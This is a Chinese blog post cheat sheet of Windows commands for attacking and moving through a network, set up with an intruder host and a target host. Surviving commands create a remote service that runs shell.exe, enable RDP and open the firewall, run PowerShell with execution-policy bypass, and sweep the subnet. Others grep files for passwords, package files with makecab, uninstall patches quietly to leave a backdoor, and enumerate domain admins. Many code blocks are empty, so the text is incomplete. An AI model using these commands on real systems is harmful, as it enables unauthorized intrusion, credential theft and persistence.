基础命令使用 [ win篇 ]
0x01 基础命令使用:
演示环境:
| 1 2 | win2008R2cn     ip: 192.168.3.23    假设为入侵者机器 win2012R2cn     ip: 192.168.3.122   假设为目标机器 | 
| 1 2 3 4 5 6 |  | 
查看本机ip配置:
| 1 2 |  | 
查看当前机器中所有的网络连接:
| 1 2 3 4 5 6 |  | 
利用最基础的ipc连接,这里需要注意下防火墙,如果没允许文件和打印共享服务,是根本net不上去的
| 1 2 3 4 |  | 
ipc建立成功后,尝试直接在本地往远程机器上拷贝文件
| 1 2 3 | 第一种方式: | 
| 1 2 | 第二种方式[推荐用xcopy]: # xcopy d:\sqlitedata\*.* \\192.168.3.122\c$\temp /E /Y /D  也可在建立ipc后直接远程拷贝 | 
依然是在ipc建立后,可直接在远程机器上创建,删除服务,创建服务时需要注意,常规程序需要有返回值,不然启动服务时会报1053错误
| 1 2 3 | # sc \\192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart" # sc \\192.168.3.122 stop shllsrv # sc \\192.168.3.122 delete shellsrv | 
| 1 2 | # net use \\192.168.3.122\admin$ /del # net use * /del	最后,删除所有ipc,如果系统中还有其它的ipc连接,也可指定只删除自己的 | 
在远程机器上快速创建删除定时任务,需要指定目标系统的账号密码 [ 03以下系统用at,想必大家都已非常熟练,这里不再多说 ]
| 1 2 3 4 5 6 7 8 9 10 | # schtasks /create  /?		查看schtasks使用帮助 | 
初步先大致看下当前所在内网有多少存活机器 [ 单基于icmp的扫描 ]:
| 1 | # for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128" >> pinglog.txt | 
搜集当前内网中的dns信息:
| 1 | # for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >> dnslog.txt | 
操作当前机器防火墙[务必先提权]:
| 1 2 3 |  | 
操作当前机器的rdp,实战中推荐直接用powershell来搞,直接用reg可能会触发防护报警:
第一种,使用原始的reg工具,适合03以下的系统
| 1 2 3 4 5 6 7 8 | 查询rdp的端口,注意把默认的十六进制转换成十进制 # reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 启用rdp: # reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 禁用rdp: # reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f | 
第二种,利用powershell
| 1 2 3 4 5 6 7 8 | 利用powershell启用禁用rdp: C:\>powershell -exec bypass PS C:\> Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server‘-name "fDenyTSConnections" -Value 0 PS C:\> Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server‘-name "fDenyTSConnections" -Value 1 放开防火墙对rdp的限制 # netsh advfirewall firewall set rule group="remote desktop" new enable=yes # netsh advfirewall firewall set rule group="远程桌面" new enable=yes | 
查看本机的路由情况:
| 1 2 3 4 |  | 
查看当前机器自身的配置信息:
| 1 2 3 4 5 6 7 8 9 | # set				查看当前机器的环境变量配置,看有没有我们可以直接利用到的语言环境 | 
在指定目录下搜集各类敏感文件:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 |  | 
批量压缩指定文件,注意,list.txt里存放的是所有要打包文件的绝对路径:
| 1 | # makecab /f list.txt /d compressiontype=lzx /d compressionmemory=21 /d maxdisksize=1024000000 /d diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab | 
在指定目录下搜集各种账号密码
| 1 2 3 4 5 | # findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak  # findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak | 
查看,删除 指定文件:
| 1 2 3 |  | 
查看当前机器的进程信息:
| 1 2 3 4 5 6 7 8 9 10 11 | # taskkill /im calc.exe	用指定进程名的方式结束指定进程 # wusa /uninstall /KB:2999226 /quiet /norestart 	不重启卸载指定系统补丁,方便留后门,前提是权限要够 | 
0x03 域内net及dsquery套件使用
利用常规net套件搜集域内信息
| 1 2 3 4 5 6 7 8 9 10 11 12 13 |  | 
批量把net view的结果转换为ip
| 1 2 3 4 5 6 7 | @echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j) ) ) | 
利用dsquery 工具搜集域内信息,该工具貌似只在域控机器上有,应该是在域的安装包里,你可以把对应系统的这个工具的exe和dll扣出来上传上去用
| 1 2 3 4 5 6 7 |  | 
0x04 wmic套件使用[其实,上面基础工具能干的事情,wmic全部能干,且过之不及],在操作远程时,如果遇到’RPC 服务不可用’直接把机器名换成ip即可,别看这么多,我们实战用的最多的可能就是远程执行及远程开启rdp了,如,远程导hash,远程执行payload…
查询当前及远程机器的进程信息
| 1 2 3 |  | 
查询当前及远程机器上指定进程的详细信息
| 1 2 |  | 
删除当前及远程机器中的指定进程
| 1 2 |  | 
在当前机器中执行指定程序
| 1 |  | 
通过smb在远程机器上执行指定程序,如,在本地让远程机器上线,在抓取目标系统用户的hash,等等…
| 1 | # wmic /node:192.168 | 
终止执行某程序
| 1 2 |  | 
开启,关闭当前机器的rdp
| 1 2 |  | 
开启,关闭远程机器的rdp
| 1 2 |  | 
查询当前机器已安装的补丁
| 1 2 |  | 
查询当前机器自启动程序有哪些
| 1 2 |  | 
查询当前机器所安装的所有软件名
| 1 2 | # wmic product get name /value # wmic product get name,version | 
删除当前机器中指定名称的软件
| 1 | # wmic product where name="Google Update Helper" call uninstall /nointeractive | 
查询本机所有的盘符及剩余空间
| 1 2 |  | 
查询当前机器的简要配置信息
| 1 | # wmic computersystem list brief /format:list | 
查询当前机器的操作系统位数
| 1 |  | 
查询当前机器的用户及组信息
| 1 2 | # wmic useraccount list brief /format:list # wmic group list brief /format:list | 
查询当前机器所有用户的详细信息
| 1 |  | 
查询当前机器所有服务的详细状态
| 1 |  | 
查询指定域的域管有哪些
| 1 | # wmic /node:rootkit path win32_groupuser where (groupcomponent="win32_group.name=\"adm\",domain=\"rootkit\"") | 
查看谁登陆过指定机器,适合用来找域管进程
| 1 |  | 
查询本机共享
| 1 | # wmic share  get name,path,status | 
0x05 使用pstools套件
| 1 2 |  | 
Blog by klionsec
